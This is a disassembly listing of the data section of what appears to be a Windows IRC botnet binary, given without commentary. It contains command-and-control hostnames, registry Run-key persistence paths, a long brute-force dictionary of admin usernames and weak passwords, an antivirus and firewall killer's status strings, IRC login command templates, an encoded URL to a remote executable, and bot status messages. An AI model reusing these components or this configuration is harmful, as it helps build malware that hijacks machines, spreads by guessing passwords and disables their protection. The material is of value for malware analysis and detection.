a1Snan db '1#SNAN',0 ; DATA XREF: sub_425973+ADo
align 4
dd offset dword_427DAC
off_427C90 dd offset loc_4260E2 ; DATA XREF: sub_4260BA+8o
; sub_4260FE+2Co ...
dd offset sub_4260D5
dd offset sub_4262F6
dd offset dword_427DF8
off_427CA0 dd offset sub_42614C ; DATA XREF: sub_4260FE+3Ao
; sub_426168o ...
dd offset sub_4260D5
dd offset loc_426332
dword_427CAC dd 0 ; DATA XREF: sub_4260FE+16o
; sub_4261D0+16o
aInvalidStringP db 'invalid string position',0 ; DATA XREF: sub_426173+11o
dd offset dword_427E44
off_427CCC dd offset sub_42625B ; DATA XREF: sub_426277o
; sub_42629A+37o ...
dd offset sub_4260D5
dd offset loc_426314
aStringTooLong db 'string too long',0 ; DATA XREF: sub_42629A+11o
dd offset dword_427E88
off_427CEC dd offset loc_4264A5 ; DATA XREF: sub_426490o
; ___:off_43DAE4o ...
dd offset dword_427EB8
off_427CF4 dd offset loc_4264C1 ; DATA XREF: sub_4264DD+8o
; sub_42651A+8o ...
dd offset sub_42657A
aUnknownExcepti db 'Unknown exception',0 ; DATA XREF: sub_42657A+7o
align 10h
dword_427D10 dd 0E06D7363h, 1, 2 dup(0) ; DATA XREF: sub_426587+Eo
dd 3, 19930520h, 2 dup(0)
dword_427D30 dd 0FFFFFFFFh, 426738h, 42673Ch, 0FFFFFFFFh, 4267B5h, 4267B9h
; DATA XREF: sub_426636+5o
dword_427D48 dd 0FFFFFFFFh, 4269ADh, 4269B1h, 0FFFFFFFFh, 426A0Ah, 426A0Eh
; DATA XREF: sub_4268C1+5o
dd 43DAE4h, 2 dup(0)
dd 0FFFFFFFFh, 2 dup(0)
off_427D78 dd offset off_43DAFC ; DATA XREF: ___:00427D90o
; ___:00427DDCo ...
dd 1, 0
dd 0FFFFFFFFh, 2 dup(0)
dd offset off_427D78
dd offset dword_427D48+18h
dword_427D98 dd 3 dup(0) ; DATA XREF: ___:00427DBCo
dd 2, 427D90h
dword_427DAC dd 3 dup(0) ; DATA XREF: ___:00427C8Co
dd offset off_43DAFC
dd offset dword_427D98+4
off_427DC0 dd offset off_43DB1C ; DATA XREF: ___:00427DD8o
dd 2, 0
dd 0FFFFFFFFh, 2 dup(0)
dd offset off_427DC0
dd offset off_427D78
dd offset dword_427D48+18h
dd 0
db 0 ; DATA XREF: ___:00427E08o
db 0
db 0
db 0
db 0
db 0
db 0
db 0
dd 3, 427DD8h
dword_427DF8 dd 3 dup(0) ; DATA XREF: ___:00427C9Co
dd offset off_43DB1C
dd offset unk_427DE8
off_427E0C dd offset off_43DB3C ; DATA XREF: ___:00427E24o
dd 2, 0
dd 0FFFFFFFFh, 2 dup(0)
dd offset off_427E0C
dd offset off_427D78
dd offset dword_427D48+18h
dword_427E30 dd 3 dup(0) ; DATA XREF: ___:00427E54o
dd 3, 427E24h
dword_427E44 dd 3 dup(0) ; DATA XREF: ___:00427CC8o
dd offset off_43DB3C
dd offset dword_427E30+4
off_427E58 dd offset off_43DB60 ; DATA XREF: ___:00427E70o
dd 2 dup(0)
dd 0FFFFFFFFh, 2 dup(0)
dd offset off_427E58
dd 0
db 0 ; DATA XREF: ___:00427E98o
db 0
db 0
db 0
db 0
db 0
db 0
db 0
dd 1, 427E70h
dword_427E88 dd 3 dup(0) ; DATA XREF: ___:00427CE8o
dd offset off_43DB60
dd offset unk_427E78
dd offset dword_427D48+18h
dword_427EA0 dd 4 dup(0) ; DATA XREF: ___:00427EC8o
dd 1, 427E9Ch
dword_427EB8 dd 3 dup(0) ; DATA XREF: ___:00427CF0o
dd offset off_43DAE4
dd offset dword_427EA0+8
align 10h
dword_427ED0 dd 19930520h, 2, 427EF0h, 5 dup(0) ; DATA XREF: ___:loc_426AA7o
dd 0FFFFFFFFh, 426A90h, 0
dd offset sub_426A88
dword_427F00 dd 19930520h, 2, 427F20h, 5 dup(0) ; DATA XREF: ___:loc_426AC4o
dd 0FFFFFFFFh, 426AB4h, 0
dd offset loc_426ABC
dword_427F30 dd 19930520h, 2, 427F50h, 1, 427F60h, 3 dup(0) ; DATA XREF: ___:loc_426AD0o
dd 0FFFFFFFFh, 0
dd 0FFFFFFFFh, 3 dup(0)
dd 2 dup(1), 427F78h, 4 dup(0)
dd offset loc_40DA8E
dd 0FFFFFFFFh, 426ADAh
dword_427F90 dd 19930520h, 1, 427F88h, 5 dup(0) ; DATA XREF: ___:loc_426AE2o
dd offset off_43DAE4
align 8
dd 0FFFFFFFFh, 0
dd 0Ch, 42651Ah, 0
dd offset off_43DAFC
dd 0
dd 0FFFFFFFFh, 0
dd 1Ch, 426218h, 0
dd offset off_43DB1C
align 10h
dd 0FFFFFFFFh, 0
dword_427FF8 dd 1Ch, 426282h, 3, 427FE4h, 427FC8h, 427FACh ; DATA XREF: ___:0042801Co
dword_428010 dd 0 ; DATA XREF: sub_426173+2Eo
; sub_4262F6+4Bo
dd offset sub_426168
dd 0
dd offset dword_427FF8+8
dd 0FFFFFFFFh, 426AECh
dword_428028 dd 19930520h, 1, 428020h, 4 dup(0) ; DATA XREF: ___:loc_426AF4o
dd 0FFFFFFFFh, 426AFEh
dword_42804C dd 19930520h, 1, 428044h, 4 dup(0) ; DATA XREF: ___:loc_426B06o
dd 0FFFFFFFFh, 426B10h
dword_428070 dd 19930520h, 1, 428068h, 5 dup(0) ; DATA XREF: ___:loc_426B18o
dd offset off_43DB3C
align 8
dd 0FFFFFFFFh, 0
dword_4280A0 dd 1Ch, 4262DEh, 3, 42808Ch, 427FC8h, 427FACh ; DATA XREF: ___:004280C4o
dword_4280B8 dd 0 ; DATA XREF: sub_42629A+2Eo
; sub_4262F6+2Do
dd offset sub_426277
dd 0
dd offset dword_4280A0+8
dd 0FFFFFFFFh, 426B22h
dword_4280D0 dd 19930520h, 1, 4280C8h, 4 dup(0) ; DATA XREF: ___:loc_426B2Ao
dword_4280EC dd 2, 427FC8h, 427FACh ; DATA XREF: ___:00428104o
dword_4280F8 dd 0 ; DATA XREF: sub_4262F6+Fo
dd offset sub_4260BA
dd 0
dd offset dword_4280EC
dd 5 dup(33091427h), 5 dup(7DD0DD93h), 75h dup(0)
dd 7DD0DD93h, 15h dup(0)
dd 33091427h, 6 dup(0)
dd 45560000h, 4F495352h, 6C642E4Eh, 6Ch, 31Eh dup(0)
dword_429000 dd 0 ; DATA XREF: ___:0041C183o
dd offset loc_401205
dd offset sub_40DB3C
dd offset dword_40EF1C+1D0h
dword_429010 dd 0 ; DATA XREF: ___:0041C17Eo
dword_429014 dd 0 ; DATA XREF: ___:0041C174o
dd offset sub_41DA32
dd offset sub_420B0D
dd offset sub_42413E
dd offset word_424F62
dword_429028 dd 0 ; DATA XREF: ___:loc_41C16Fo
dword_42902C dd 0 ; DATA XREF: sub_41C1B3+65o
dd offset sub_4241E3
dword_429034 dd 0 ; DATA XREF: sub_41C1B3:loc_41C213o
dword_429038 dd 0 ; DATA XREF: sub_41C1B3+76o
dd offset byte_424F73
dword_429040 dd 4 dup(0) ; DATA XREF: sub_41C1B3:loc_41C224o
dword_429050 dd 80000002h, 429170h, 80000002h, 4291A0h, 80000001h, 429170h
; DATA XREF: sub_401000+7o
dword_429068 dd 6272h ; DATA XREF: sub_401000+63o
; sub_4010AB+Bo ...
dword_42906C dd 1B58h ; DATA XREF: ___:004016C5r
; ___:0040175Ar
dword_429070 dd 0C8Bh ; DATA XREF: ___:004017A6r
dword_429074 dd 7E4h ; DATA XREF: sub_401ACD:loc_4045D8r
dword_429078 dd 45h ; DATA XREF: sub_401ACD+202Er
; sub_40BD91+3Br
dword_42907C dd 7D1h ; DATA XREF: sub_401ACD:loc_403BE9r
; sub_40BD91:loc_40C182r
dword_429080 dd 201h ; DATA XREF: sub_401ACD:loc_403D75r
word_429084 dw 7C7h ; DATA XREF: sub_401ACD:loc_4046FBr
align 4
dword_429088 dd 1 ; DATA XREF: sub_401ACD+643r
dword_42908C dd 1 ; DATA XREF: ___:0040135Er
dword_429090 dd 1 ; DATA XREF: ___:loc_401562r
; sub_4188A6+Cr
byte_429094 db 2Eh ; DATA XREF: sub_401ACD+A76r
; sub_401ACD+B30r ...
align 4
dword_429098 dd 0Ah ; DATA XREF: sub_40AAAC+3Ar
; sub_40AAAC+60r ...
dword_42909C dd 4 ; DATA XREF: sub_4017ED+78r
; sub_401ACD+279r ...
dword_4290A0 dd 1 ; DATA XREF: sub_4017ED+72r
; sub_401ACD+273r
aSaadfgh db 'saadfgh',0 ; DATA XREF: ___:0040127Eo
; sub_401ACD:loc_40445Do ...
aAbosel7V4 db 'abosel7 v4',0 ; DATA XREF: sub_401ACD:loc_404902o
align 4
aCool db 'cool',0 ; DATA XREF: sub_401ACD+7BCBo
; sub_401ACD+7C9Ao
align 10h
aScorti1_dns2go db 'scorti1.dns2go.com',0 ; DATA XREF: ___:004016B1o
; ___:0040174Bo
align 4
aFaak db '#FAAK#',0 ; DATA XREF: ___:004016D1o
; ___:00401761o ...
align 4
aSaad_ db 'saad.',0 ; DATA XREF: ___:004016E8o
; ___:00401773o
align 4
byte_4290E4 db 73h ; DATA XREF: ___:loc_401789r
; ___:00401797o
aCorti1_dns2go_ db 'corti1.dns2go.com',0
align 4
aFaak_0 db '#FAAK#',0 ; DATA XREF: ___:004017ADo
align 10h
aSaad__0 db 'saad.',0 ; DATA XREF: ___:004017BFo
align 4
byte_429108 db 77h ; DATA XREF: ___:00401364o
; ___:00401388w ...
db 69h, 6Eh, 64h
dd 73767265h, 6578652Eh, 0
dd 6E6E6977h, 61622E74h, 74h
aWindosSeresAgn db 'Windos Seres Agnts',0 ; DATA XREF: sub_401000+Eo
align 4
unicode 0, <->,0
aWinsys_dat db 'winsys.dat',0
align 4
aXI db '-x+i',0 ; DATA XREF: sub_401ACD+7D1Do
align 10h
aF db '#f',0 ; DATA XREF: sub_401ACD+1E91o
; sub_401ACD+1EA2o ...
align 4
aF_0 db '#f',0 ; DATA XREF: sub_401ACD+72B4o
; sub_401ACD+730Co
align 4
aF_1 db '#f',0 ; DATA XREF: sub_401ACD+40EAo
; sub_401ACD+423Ao
align 4
off_42915C dd offset a@admin_com ; DATA XREF: sub_401ACD:loc_4096EBo
; "*@admin.com"
off_429160 dd offset aMircV6_16Khale ; DATA XREF: sub_401ACD+8A7r
; sub_401ACD+7C3Ao
; "mIRC v6.16 Khaled Mardam-Bey"
dd offset aMircV6_17Khale ; "mIRC v6.17 Khaled Mardam-Bey"
dd offset aMircV6_20Khale ; "mIRC v6.20 Khaled Mardam-Bey"
dd offset aMircV6_21Khale ; "mIRC v6.21 Khaled Mardam-Bey"
aSoftwareMicr_0 db 'Software\Microsoft\Windows\CurrentVersion\Run',0
align 10h
db 53h
aOftwareMicroso db 'oftware\Microsoft\Windows\CurrentVersion\RunServices',0
align 4
aSoftwareMicros db 'Software\Microsoft\OLE',0 ; DATA XREF: sub_41A3C6+28o
; sub_41A6EA+28o
align 10h
aSystemCurrentc db 'SYSTEM\CurrentControlSet\Control\Lsa',0 ; DATA XREF: sub_41A3C6+D4o
; sub_41A6EA+D4o
align 4
dd 2 dup(1), 70747468h, 772F2F3Ah, 662E7777h, 77656572h
dd 6F746265h, 632E6E77h, 7A2F6D6Fh, 2F737678h, 73636E76h
dd 652E6D79h, 6578h, 429938h, 429928h, 429918h, 42990Ch
dd 429904h, 4298FCh, 4298F4h, 4298ECh, 4298E0h, 4298D8h
dd 4298D0h, 4298C8h, 4298BCh, 4298B4h, 4298ACh, 4298A0h
dd 42989Ch, 429894h, 429890h, 0
dd offset byte_43DB88
dd offset aAdministrato_0 ; "administrator"
dd offset aAdministrador ; "administrador"
dd offset aAdministrateur ; "administrateur"
dd offset aAdministrat ; "administrat"
dd offset aAdmins ; "admins"
dd offset aAdmin ; "admin"
dd offset aAdm ; "adm"
dd offset aPassword1 ; "password1"
dd offset aPassword ; "password"
dd offset aPasswd ; "passwd"
dd offset aPass1234 ; "pass1234"
dd offset aPass ; "pass"
dd offset aPwd ; "pwd"
dd offset a007 ; "007"
dd offset a1 ; "1"
dd offset a12 ; "12"
dd offset a123 ; "123"
dd offset a1234 ; "1234"
dd offset a12345 ; "12345"
dd offset a123456 ; "123456"
dd offset a1234567 ; "1234567"
dd offset a12345678 ; "12345678"
dd offset a123456789 ; "123456789"
dd offset a1234567890 ; "1234567890"
dd offset a2000 ; "2000"
dd offset a2001 ; "2001"
dd offset a2002 ; "2002"
dd offset a2003 ; "2003"
dd offset a2004 ; "2004"
dd offset aTest ; "test"
dd offset aGuest_0 ; "guest"
dd offset aNone ; "none"
dd offset aDemo ; "demo"
dd offset aUnix ; "unix"
dd offset aLinux ; "linux"
dd offset aChangeme ; "changeme"
dd offset aDefault ; "default"
dd offset aSystem ; "system"
dd offset aServer ; "server"
dd offset aRoot ; "root"
dd offset aNull_1 ; "null"
dd offset aQwerty ; "qwerty"
dd offset aMail ; "mail"
dd offset aOutlook ; "outlook"
dd offset aWeb ; "web"
dd offset aWww ; "www"
dd offset aInternet ; "internet"
dd offset aAccounts ; "accounts"
dd offset aAccounting ; "accounting"
dd offset aHome ; "home"
dd offset aHomeuser ; "homeuser"
dd offset aUser ; "user"
dd offset aOem ; "oem"
dd offset aOemuser ; "oemuser"
dd offset aOeminstall ; "oeminstall"
dd offset aWindows ; "windows"
dd offset aWin98 ; "win98"
dd offset aWin2k ; "win2k"
dd offset aWinxp ; "winxp"
dd offset aWinnt ; "winnt"
dd offset aWin2000 ; "win2000"
dd offset aQaz ; "qaz"
dd offset aAsd ; "asd"
dd offset aZxc ; "zxc"
dd offset aQwe ; "qwe"
dd offset aBob ; "bob"
dd offset aJen ; "jen"
dd offset aJoe ; "joe"
dd offset aFred ; "fred"
dd offset aBill ; "bill"
dd offset aMike ; "mike"
dd offset aJohn ; "john"
dd offset aPeter ; "peter"
dd offset aLuke ; "luke"
dd offset aSam ; "sam"
dd offset aSue ; "sue"
dd offset aSusan ; "susan"
dd offset aPeter ; "peter"
dd offset aBrian ; "brian"
dd offset aLee ; "lee"
dd offset aNeil ; "neil"
dd offset aIan ; "ian"
dd offset aChris ; "chris"
dd offset aEric ; "eric"
dd offset aGeorge ; "george"
dd offset aKate ; "kate"
dd offset aBob ; "bob"
dd offset aKatie ; "katie"
dd offset aMary ; "mary"
dd offset aLogin ; "login"
dd offset aLoginpass ; "loginpass"
dd offset aTechnical ; "technical"
dd offset aBackup ; "backup"
dd offset aExchange ; "exchange"
dd offset aFuck ; "fuck"
dd offset aBitch ; "bitch"
dd offset aSlut ; "slut"
dd offset aSex ; "sex"
dd offset aGod ; "god"
dd offset aHell ; "hell"
dd offset aHello ; "hello"
dd offset aDomain ; "domain"
dd offset aDomainpass ; "domainpass"
dd offset aDomainpassword ; "domainpassword"
dd offset aDatabase ; "database"
dd offset aAccess ; "access"
dd offset aDbpass ; "dbpass"
dd offset aDbpassword ; "dbpassword"
dd offset aDatabasepass ; "databasepass"
dd offset aData ; "data"
dd offset aDatabasepasswo ; "databasepassword"
dd offset aDb1 ; "db1"
dd offset aDb2 ; "db2"
dd offset aDb1234 ; "db1234"
dd offset aSa ; "sa"
dd offset aSql ; "sql"
dd offset aSqlpassoainsta ; "sqlpassoainstall"
dd offset aOrainstall ; "orainstall"
dd offset aOracle ; "oracle"
dd offset aIbm ; "ibm"
dd offset aCisco ; "cisco"
dd offset aDell ; "dell"
dd offset aCompaq ; "compaq"
dd offset aSiemens ; "siemens"
dd offset aHp ; "hp"
dd offset aNokia ; "nokia"
dd offset aXp ; "xp"
dd offset aControl ; "control"
dd offset aOffice ; "office"
dd offset aBlank ; "blank"
dd offset aWinpass ; "winpass"
dd offset aMain ; "main"
dd offset aLan ; "lan"
dd offset aInternet ; "internet"
dd offset aIntranet ; "intranet"
dd offset aStudent ; "student"
dd offset aTeacher ; "teacher"
dd offset aStaff ; "staff"
dd 0
dword_4294CC dd 10h ; DATA XREF: sub_401ACD+AE0r
; sub_401ACD+B0Cr ...
aIntranet db 'intranet',0 ; DATA XREF: ___:004294B8o
align 4
aLan db 'lan',0 ; DATA XREF: ___:004294B0o
aMain db 'main',0 ; DATA XREF: ___:004294ACo
align 4
aWinpass db 'winpass',0 ; DATA XREF: ___:004294A8o
aBlank db 'blank',0 ; DATA XREF: ___:004294A4o
align 4
aOffice db 'office',0 ; DATA XREF: ___:004294A0o
align 10h
aControl db 'control',0 ; DATA XREF: ___:0042949Co
aXp db 'xp',0 ; DATA XREF: ___:00429498o
align 4
aNokia db 'nokia',0 ; DATA XREF: ___:00429494o
align 4
aHp db 'hp',0 ; DATA XREF: ___:00429490o
align 4
aSiemens db 'siemens',0 ; DATA XREF: ___:0042948Co
aCompaq db 'compaq',0 ; DATA XREF: ___:00429488o
align 4
aDell db 'dell',0 ; DATA XREF: ___:00429484o
align 10h
aCisco db 'cisco',0 ; DATA XREF: ___:00429480o
align 4
aIbm db 'ibm',0 ; DATA XREF: ___:0042947Co
aOrainstall db 'orainstall',0 ; DATA XREF: ___:00429474o
align 4
aSqlpassoainsta db 'sqlpassoainstall',0 ; DATA XREF: ___:00429470o
align 4
aSql db 'sql',0 ; DATA XREF: ___:0042946Co
aSa db 'sa',0 ; DATA XREF: ___:00429468o
align 4
aDb1234 db 'db1234',0 ; DATA XREF: ___:00429464o
align 4
aDb1 db 'db1',0 ; DATA XREF: ___:0042945Co
aDatabasepasswo db 'databasepassword',0 ; DATA XREF: ___:00429458o
align 4
aData db 'data',0 ; DATA XREF: ___:00429454o
align 4
aDatabasepass db 'databasepass',0 ; DATA XREF: ___:00429450o
align 4
aDbpassword db 'dbpassword',0 ; DATA XREF: ___:0042944Co
align 4
aDbpass db 'dbpass',0 ; DATA XREF: ___:00429448o
align 10h
aAccess db 'access',0 ; DATA XREF: ___:00429444o
align 4
aDomainpassword db 'domainpassword',0 ; DATA XREF: ___:0042943Co
align 4
aDomainpass db 'domainpass',0 ; DATA XREF: ___:00429438o
align 4
aDomain db 'domain',0 ; DATA XREF: ___:00429434o
align 4
aHello db 'hello',0 ; DATA XREF: ___:00429430o
align 4
aHell db 'hell',0 ; DATA XREF: ___:0042942Co
align 4
aGod db 'god',0 ; DATA XREF: ___:00429428o
aSex db 'sex',0 ; DATA XREF: ___:00429424o
; ___:off_438A68o
aSlut db 'slut',0 ; DATA XREF: ___:00429420o
align 4
aBitch db 'bitch',0 ; DATA XREF: ___:0042941Co
align 4
aFuck db 'fuck',0 ; DATA XREF: ___:00429418o
align 4
aExchange db 'exchange',0 ; DATA XREF: ___:00429414o
align 4
aBackup db 'backup',0 ; DATA XREF: ___:00429410o
align 10h
aTechnical db 'technical',0 ; DATA XREF: ___:0042940Co
align 4
aLoginpass db 'loginpass',0 ; DATA XREF: ___:00429408o
align 4
aLogin db 'login',0 ; DATA XREF: ___:00429404o
align 10h
aMary db 'mary',0 ; DATA XREF: ___:00429400o
align 4
aKatie db 'katie',0 ; DATA XREF: ___:004293FCo
align 10h
aKate db 'kate',0 ; DATA XREF: ___:004293F4o
align 4
aGeorge db 'george',0 ; DATA XREF: ___:004293F0o
align 10h
aEric db 'eric',0 ; DATA XREF: ___:004293ECo
align 4
aChris db 'chris',0 ; DATA XREF: ___:004293E8o
align 10h
aIan db 'ian',0 ; DATA XREF: ___:004293E4o
aNeil db 'neil',0 ; DATA XREF: ___:004293E0o
align 4
aLee db 'lee',0 ; DATA XREF: ___:004293DCo
aBrian db 'brian',0 ; DATA XREF: ___:004293D8o
align 4
aSusan db 'susan',0 ; DATA XREF: ___:004293D0o
align 10h
aSue db 'sue',0 ; DATA XREF: ___:004293CCo
aSam db 'sam',0 ; DATA XREF: ___:004293C8o
aLuke db 'luke',0 ; DATA XREF: ___:004293C4o
align 10h
aPeter db 'peter',0 ; DATA XREF: ___:004293C0o
; ___:004293D4o
align 4
aJohn db 'john',0 ; DATA XREF: ___:004293BCo
align 10h
aMike db 'mike',0 ; DATA XREF: ___:004293B8o
align 4
aBill db 'bill',0 ; DATA XREF: ___:004293B4o
align 10h
aFred db 'fred',0 ; DATA XREF: ___:004293B0o
align 4
aJoe db 'joe',0 ; DATA XREF: ___:004293ACo
aJen db 'jen',0 ; DATA XREF: ___:004293A8o
aBob db 'bob',0 ; DATA XREF: ___:004293A4o
; ___:004293F8o
aQwe db 'qwe',0 ; DATA XREF: ___:004293A0o
aZxc db 'zxc',0 ; DATA XREF: ___:0042939Co
aAsd db 'asd',0 ; DATA XREF: ___:00429398o
aQaz db 'qaz',0 ; DATA XREF: ___:00429394o
aWin2000 db 'win2000',0 ; DATA XREF: ___:00429390o
aWinnt db 'winnt',0 ; DATA XREF: ___:0042938Co
align 4
aWinxp db 'winxp',0 ; DATA XREF: ___:00429388o
align 4
aWin2k db 'win2k',0 ; DATA XREF: ___:00429384o
align 4
aWin98 db 'win98',0 ; DATA XREF: ___:00429380o
align 4
aWindows db 'windows',0 ; DATA XREF: ___:0042937Co
aOeminstall db 'oeminstall',0 ; DATA XREF: ___:00429378o
align 10h
aOemuser db 'oemuser',0 ; DATA XREF: ___:00429374o
aOem db 'oem',0 ; DATA XREF: ___:00429370o
aUser db 'user',0 ; DATA XREF: sub_401ACD+45CFo
; ___:0042936Co
align 4
aHomeuser db 'homeuser',0 ; DATA XREF: ___:00429368o
align 10h
aHome db 'home',0 ; DATA XREF: ___:00429364o
align 4
aAccounting db 'accounting',0 ; DATA XREF: ___:00429360o
align 4
aAccounts db 'accounts',0 ; DATA XREF: ___:0042935Co
align 10h
aInternet db 'internet',0 ; DATA XREF: ___:00429358o
; ___:004294B4o
align 4
aWww db 'www',0 ; DATA XREF: ___:00429354o
aWeb db 'web',0 ; DATA XREF: sub_401ACD+7283o
; ___:00429350o
aOutlook db 'outlook',0 ; DATA XREF: ___:0042934Co
aMail db 'mail',0 ; DATA XREF: ___:00429348o
align 4
aQwerty db 'qwerty',0 ; DATA XREF: ___:00429344o
align 4
aNull_1 db 'null',0 ; DATA XREF: ___:00429340o
align 4
aServer db 'server',0 ; DATA XREF: sub_401ACD+3E8Bo
; ___:00429338o
align 4
aSystem db 'system',0 ; DATA XREF: ___:00429334o
align 4
aChangeme db 'changeme',0 ; DATA XREF: ___:0042932Co
align 10h
aLinux db 'linux',0 ; DATA XREF: ___:00429328o
align 4
aUnix db 'unix',0 ; DATA XREF: ___:00429324o
align 10h
aDemo db 'demo',0 ; DATA XREF: ___:00429320o
align 4
aNone db 'none',0 ; DATA XREF: ___:0042931Co
align 10h
aTest db 'test',0 ; DATA XREF: ___:00429314o
align 4
a2004 db '2004',0 ; DATA XREF: ___:00429310o
align 10h
a2003 db '2003',0 ; DATA XREF: sub_41AF8F+BAo
; ___:0042930Co
align 4
a2002 db '2002',0 ; DATA XREF: ___:00429308o
align 10h
a2001 db '2001',0 ; DATA XREF: ___:00429304o
align 4
a2000 db '2000',0 ; DATA XREF: ___:00429300o
align 10h
a1234567890 db '1234567890',0 ; DATA XREF: ___:004292FCo
align 4
a123456789 db '123456789',0 ; DATA XREF: ___:004292F8o
align 4
a12345678 db '12345678',0 ; DATA XREF: ___:004292F4o
align 4
a1234567 db '1234567',0 ; DATA XREF: ___:004292F0o
a123456 db '123456',0 ; DATA XREF: ___:004292ECo
align 4
a12345 db '12345',0 ; DATA XREF: ___:004292E8o
align 4
a1234 db '1234',0 ; DATA XREF: ___:004292E4o
align 4
a123 db '123',0 ; DATA XREF: ___:004292E0o
a12 db '12',0 ; DATA XREF: ___:004292DCo
align 4
a1: ; DATA XREF: ___:0040AFC7o
; ___:004292D8o
unicode 0, <1>,0
a007 db '007',0 ; DATA XREF: ___:004292D4o
aPwd db 'pwd',0 ; DATA XREF: ___:004292D0o
aPass db 'pass',0 ; DATA XREF: ___:004292CCo
align 10h
aPass1234 db 'pass1234',0 ; DATA XREF: ___:004292C8o
align 4
aPasswd db 'passwd',0 ; DATA XREF: ___:004292C4o
align 4
aPassword db 'password',0 ; DATA XREF: ___:004292C0o
align 10h
aPassword1 db 'password1',0 ; DATA XREF: ___:004292BCo
align 4
aAdm db 'adm',0 ; DATA XREF: ___:004292B8o
aDb2 db 'db2',0 ; DATA XREF: ___:00429460o
aOracle db 'oracle',0 ; DATA XREF: ___:00429478o
align 4
aDba db 'dba',0
aDatabase db 'database',0 ; DATA XREF: ___:00429440o
align 4
aDefault db 'default',0 ; DATA XREF: ___:00429330o
aGuest_0 db 'guest',0 ; DATA XREF: ___:00429318o
align 4
aWwwadmin db 'wwwadmin',0
align 4
aTeacher db 'teacher',0 ; DATA XREF: ___:004294C0o
aStudent db 'student',0 ; DATA XREF: ___:004294BCo
aOwner db 'owner',0
align 10h
aComputer db 'computer',0
align 4
aRoot db 'root',0 ; DATA XREF: ___:0042933Co
align 4
aStaff db 'staff',0 ; DATA XREF: ___:004294C4o
align 4
aAdmin db 'admin',0 ; DATA XREF: ___:004292B4o
align 4
aAdmins db 'admins',0 ; DATA XREF: ___:004292B0o
align 4
aAdministrat db 'administrat',0 ; DATA XREF: ___:004292ACo
aAdministrateur db 'administrateur',0 ; DATA XREF: ___:004292A8o
align 4
aAdministrador db 'administrador',0 ; DATA XREF: ___:004292A4o
align 4
aAdministrato_0 db 'administrator',0 ; DATA XREF: ___:004292A0o
align 4
aMircV6_21Khale db 'mIRC v6.21 Khaled Mardam-Bey',0 ; DATA XREF: ___:0042916Co
align 4
aMircV6_20Khale db 'mIRC v6.20 Khaled Mardam-Bey',0 ; DATA XREF: ___:00429168o
align 4
aMircV6_17Khale db 'mIRC v6.17 Khaled Mardam-Bey',0 ; DATA XREF: ___:00429164o
align 4
aMircV6_16Khale db 'mIRC v6.16 Khaled Mardam-Bey',0 ; DATA XREF: ___:off_429160o
align 4
a@admin_com db '*@admin.com',0 ; DATA XREF: ___:off_42915Co
dword_4299D4 dd 234032Dh, 6E656469h, 2036474h ; DATA XREF: ___:0040168Co
aFailedToStartS db '- Failed to start server, error: <%d>.',0
align 4
dword_429A08 dd 234032Dh, 6E656469h, 2036474h ; DATA XREF: ___:00401641o
aServerRunningO db '- Server running on Port: 113.',0
align 4
unk_429A34 db 2Dh ; - ; DATA XREF: ___:00401614o
db 3, 34h, 2
db 70h ; p
db 72h, 6Fh, 63h
db 73h ; s
db 3, 2, 2Dh
aFailedToStartA db ' Failed to start AV/FW killer thread, error: <%d>.',0
align 4
unk_429A74 db 2Dh ; - ; DATA XREF: ___:004015C3o
db 3, 34h, 2
db 70h ; p
db 72h, 6Fh, 63h
db 73h ; s
db 3, 2, 2Dh
aAvFwKillerActi db ' AV/FW Killer active.',0
align 4
dword_429A98 dd 234032Dh, 6E69616Dh, 202D0203h, 20746F42h, 72617473h
; DATA XREF: ___:00401585o
dd 2E646574h, 0
dword_429AB4 dd 25207325h, 25222064h, 2273h ; DATA XREF: ___:004014B0o
dword_429AC0 dd 255C7325h, 73h ; DATA XREF: ___:004013AAo
dword_429AC8 dd 73257325h, 0 ; DATA XREF: ___:0040132Eo
; sub_4100B4+EAo ...
unk_429AD0 db 3 ; DATA XREF: sub_4017ED+F2o
a81VrxConnected db '8,1-VrX- Connected to %s.',0
align 4
aNickSUserS00S db 'NICK %s',0Dh,0Ah ; DATA XREF: sub_401955+62o
db 'USER %s 0 0 :%s',0Dh,0Ah,0
align 4
aPassS db 'PASS %s',0Dh,0Ah,0 ; DATA XREF: sub_401955+35o
align 4
aModeSS_0 db 'MODE %s %s',0Dh,0Ah,0 ; DATA XREF: sub_401ACD+7D25o
align 4
aUserhostS db 'USERHOST %s',0Dh,0Ah,0 ; DATA XREF: sub_401ACD+7D0Do
align 4
unk_429B34 db 3 ; DATA XREF: sub_401ACD+7CF9o
a81VrxUserSLogg db '8,1-VrX- User: %s logged in.',0
align 4
unk_429B54 db 3 ; DATA XREF: sub_401ACD+7CDCo
a81VrxPasswordA db '8,1-VrX- Password accepted.',0
align 4
unk_429B74 db 3 ; DATA XREF: sub_401ACD+7C7Bo
a81VrxFailedHos db '8,1-VrX- *Failed host auth by: (%s!%s).',0
align 10h
aNoticeSHostAut db 'NOTICE %s :Host Auth failed (%s!%s).',0Dh,0Ah,0
; DATA XREF: sub_401ACD+7C52o
align 4
unk_429BC8 db 3 ; DATA XREF: sub_401ACD+7C14o
a81VrxFailedPas db '8,1-VrX- *Failed pass auth by: (%s!%s).',0
align 4
aNoticeSYourAtt db 'NOTICE %s :Your attempt has been logged.',0Dh,0Ah,0
; DATA XREF: sub_401ACD+7C02o
; sub_401ACD+7C69o
align 10h
aNoticeSPassAut db 'NOTICE %s :Pass auth failed (%s!%s).',0Dh,0Ah,0
; DATA XREF: sub_401ACD+7BEBo
align 4
asc_429C48: ; DATA XREF: sub_401ACD+7BBBo
unicode 0, <~>,0
unk_429C4C db 3 ; DATA XREF: sub_401ACD+7B6Bo
a81VrxRandomNic db '8,1-VrX- Random nick change: %s',0
align 10h
unk_429C70 db 3 ; DATA XREF: sub_401ACD+7AFDo
a81VrxReconnect db '8,1-VrX- Reconnecting in %s seconds',0
align 4
unk_429C98 db 3 ; DATA XREF: sub_401ACD+7AB9o
a81VrxReconne_0 db '8,1-VrX- Reconnecting in %s ms',0
unk_429CB8 db 3 ; DATA XREF: sub_401ACD+7A99o
a81VrxNickChang db '8,1-VrX- Nick changed to: ',27h,'%s',27h,'.',0
align 4
unk_429CDC db 3 ; DATA XREF: sub_401ACD+7A7Do
a81VrxJoinedCha db '8,1-VrX- Joined channel: ',27h,'%s',27h,'.',0
unk_429CFC db 3 ; DATA XREF: sub_401ACD+7A5Ao
a81VrxPartedCha db '8,1-VrX- Parted channel: ',27h,'%s',27h,'.',0
unk_429D1C db 3 ; DATA XREF: sub_401ACD+7A3Eo
a81VrxIrcRawS_ db '8,1-VrX- IRC Raw: %s.',0
align 4
